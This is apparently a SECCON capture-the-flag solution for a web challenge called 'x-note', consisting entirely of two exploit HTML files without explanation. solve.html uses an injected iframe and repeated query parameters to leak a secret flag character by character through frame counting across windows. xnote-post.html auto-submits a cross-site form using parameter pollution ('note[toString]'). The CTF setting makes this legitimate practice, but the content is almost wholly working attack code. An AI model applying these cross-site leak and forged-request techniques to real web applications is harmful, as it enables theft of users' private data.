x-note

solve.html

<script>
chars = '_0123456789abcdefghijklmnopqrstuvwxyz'.split('')
//chars = '_012345678'.split('')
//chars = '9abcdefgh'.split('')
//chars = 'ijklmnopq'.split('')
//chars = 'rstuvwxyz}'.split('')
let prefix = 'SECCON{'
for (let char of chars) {
  setTimeout(() => {
    let trial = `${prefix}${char}`
    let a = window.open(`xnote-post.html?char=${trial}`)
    setTimeout(() => {
      a.location = `http://web:3000/?search=${trial}&msg=%3Ciframe%3E%3C/iframe%3E${'&%20filteredNotes='.repeat(500)}`
    }, 500)
    setTimeout(() => {
      a.location.href = `test?${trial}=${a.frames.length}`
    }, 2000)
  },0)
}
</script>

xnote-post.html

  <form action=http://web:3000/createNote method=POST>
  <input name=note[toString] value="SECCONhoge" id=note>
  </form>
  <script>
    note.value = location.search.split('?char=')[1]
    document.forms[0].submit()
  </script>